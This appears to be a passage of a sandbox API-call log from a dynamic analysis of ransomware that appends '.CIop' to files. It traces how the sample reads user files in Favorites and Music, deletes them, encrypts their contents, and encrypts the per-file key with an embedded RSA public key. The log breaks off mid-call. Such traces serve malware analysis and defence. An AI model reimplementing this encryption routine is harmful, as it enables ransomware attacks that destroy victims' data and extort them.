[0094.558] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.558] lstrcpyW (in: lpString1=0x2fef368, lpString2="Bing.url" | out: lpString1="Bing.url") returned="Bing.url" [0094.558] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0094.558] SetErrorMode (uMode=0x1) returned 0x1 [0094.558] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url") returned 44 [0094.558] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url", dwFileAttributes=0x20) returned 1 [0094.558] StrStrW (lpFirst="Bing.url", lpSrch=".CIop") returned 0x0 [0094.558] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CIop") returned 49 [0094.558] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\bing.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410 [0094.558] ReadFile (in: hFile=0x410, lpBuffer=0x5c6da0, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x5c6da0*, lpNumberOfBytesRead=0x2fee5e8*=0xd0, lpOverlapped=0x0) returned 1 [0094.560] CloseHandle (hObject=0x410) returned 1 [0094.560] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\bing.url")) returned 1 [0094.561] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0094.561] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0094.561] SetErrorMode (uMode=0x1) returned 0x1 [0094.561] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x62e3b0) returned 1 [0094.563] CryptGenKey (in: hProv=0x62e3b0, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3450) returned 1 [0094.605] CryptExportKey (in: hKey=0x5c3450, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.605] CryptExportKey (in: hKey=0x5c3450, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.606] CryptDestroyKey (hKey=0x5c3450) returned 1 [0094.606] CryptReleaseContext (hProv=0x62e3b0, dwFlags=0x0) returned 1 [0094.606] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\bing.url.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410 [0094.606] WriteFile (in: hFile=0x410, lpBuffer=0x5c6da0*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c6da0*, lpNumberOfBytesWritten=0x2fee5d8*=0xd0, lpOverlapped=0x0) returned 1 [0094.607] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd0 [0094.607] WriteFile (in: hFile=0x410, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.607] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd7 [0094.607] SetErrorMode (uMode=0x1) returned 0x1 [0094.607] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.607] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.607] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0094.607] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x62e878) returned 1 [0094.607] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62e878, dwCertEncodingType=0x1, pInfo=0x683080, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c39d0) returned 1 [0094.607] CryptEncrypt (in: hKey=0x5c39d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0094.607] CryptEncrypt (in: hKey=0x5c39d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62e190*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62e190*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0094.608] WriteFile (in: hFile=0x410, lpBuffer=0x62e190*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x62e190*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.608] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.608] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.608] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.608] CloseHandle (hObject=0x410) returned 1 [0094.609] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\bing.url")) returned 0 Thread: id = 102 os_tid = 0x434 [0094.638] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.638] lstrcpyW (in: lpString1=0x2fef368, lpString2="2G6M.mp3" | out: lpString1="2G6M.mp3") returned="2G6M.mp3" [0094.638] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.638] SetErrorMode (uMode=0x1) returned 0x1 [0094.638] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\2G6M.mp3") returned 40 [0094.638] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\2G6M.mp3", dwFileAttributes=0x20) returned 1 [0094.639] StrStrW (lpFirst="2G6M.mp3", lpSrch=".CIop") returned 0x0 [0094.639] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\2G6M.mp3.CIop") returned 45 [0094.639] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\2G6M.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\2g6m.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0094.639] ReadFile (in: hFile=0x494, lpBuffer=0x638ce8, nNumberOfBytesToRead=0x108a1, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesRead=0x2fee5e8*=0x108a1, lpOverlapped=0x0) returned 1 [0094.640] CloseHandle (hObject=0x494) returned 1 [0094.640] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\2G6M.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\2g6m.mp3")) returned 1 [0094.641] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0094.642] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0094.642] SetErrorMode (uMode=0x1) returned 0x1 [0094.642] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x62e438) returned 1 [0094.644] CryptGenKey (in: hProv=0x62e438, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3450) returned 1 [0094.681] CryptExportKey (in: hKey=0x5c3450, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.681] CryptExportKey (in: hKey=0x5c3450, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.681] CryptDestroyKey (hKey=0x5c3450) returned 1 [0094.681] CryptReleaseContext (hProv=0x62e438, dwFlags=0x0) returned 1 [0094.681] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\2G6M.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\2g6m.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0094.682] WriteFile (in: hFile=0x494, lpBuffer=0x638ce8*, nNumberOfBytesToWrite=0x108a1, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesWritten=0x2fee5d8*=0x108a1, lpOverlapped=0x0) returned 1 [0094.683] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x108a1 [0094.683] WriteFile (in: hFile=0x494, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.683] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x108a8 [0094.683] SetErrorMode (uMode=0x1) returned 0x1 [0094.683] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.683] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.683] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0094.683] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x62eb20) returned 1 [0094.684] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62eb20, dwCertEncodingType=0x1, pInfo=0x683150, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c3450) returned 1 [0094.684] CryptEncrypt (in: hKey=0x5c3450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0094.684] CryptEncrypt (in: hKey=0x5c3450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62e900*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62e900*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0094.684] WriteFile (in: hFile=0x494, lpBuffer=0x62e900*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x62e900*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.684] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.685] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.685] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.685] CloseHandle (hObject=0x494) returned 1 [0094.686] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\2G6M.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\2g6m.mp3")) returned 0 Thread: id = 103 os_tid = 0x70c [0094.716] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.716] lstrcpyW (in: lpString1=0x2fef368, lpString2="eEmxkUZ3.wav" | out: lpString1="eEmxkUZ3.wav") returned="eEmxkUZ3.wav" [0094.716] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.716] SetErrorMode (uMode=0x1) returned 0x1 [0094.716] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\eEmxkUZ3.wav") returned 44 [0094.717] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\eEmxkUZ3.wav", dwFileAttributes=0x20) returned 1 [0094.717] StrStrW (lpFirst="eEmxkUZ3.wav", lpSrch=".CIop") returned 0x0 [0094.717] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\eEmxkUZ3.wav.CIop") returned 49 [0094.717] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\eEmxkUZ3.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\eemxkuz3.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a8 [0094.718] ReadFile (in: hFile=0x4a8, lpBuffer=0x638ce8, nNumberOfBytesToRead=0x10c47, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesRead=0x2fee5e8*=0x10c47, lpOverlapped=0x0) returned 1 [0094.718] CloseHandle (hObject=0x4a8) returned 1 [0094.718] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\eEmxkUZ3.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\eemxkuz3.wav")) returned 1 [0094.720] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0094.720] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0094.720] SetErrorMode (uMode=0x1) returned 0x1 [0094.720] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x62e218) returned 1 [0094.722] CryptGenKey (in: hProv=0x62e218, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3310) returned 1 [0094.754] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.754] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.754] CryptDestroyKey (hKey=0x5c3310) returned 1 [0094.754] CryptReleaseContext (hProv=0x62e218, dwFlags=0x0) returned 1 [0094.754] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\eEmxkUZ3.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\eemxkuz3.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a8 [0094.754] WriteFile (in: hFile=0x4a8, lpBuffer=0x638ce8*, nNumberOfBytesToWrite=0x10c47, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesWritten=0x2fee5d8*=0x10c47, lpOverlapped=0x0) returned 1 [0094.756] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10c47 [0094.756] WriteFile (in: hFile=0x4a8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.756] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10c4e [0094.756] SetErrorMode (uMode=0x1) returned 0x1 [0094.756] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.756] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.756] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0094.756] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x62e218) returned 1 [0094.756] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62e218, dwCertEncodingType=0x1, pInfo=0x5c19f0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c3210) returned 1 [0094.757] CryptEncrypt (in: hKey=0x5c3210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0094.757] CryptEncrypt (in: hKey=0x5c3210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62e3b0*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62e3b0*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0094.757] WriteFile (in: hFile=0x4a8, lpBuffer=0x62e3b0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x62e3b0*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.757] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) 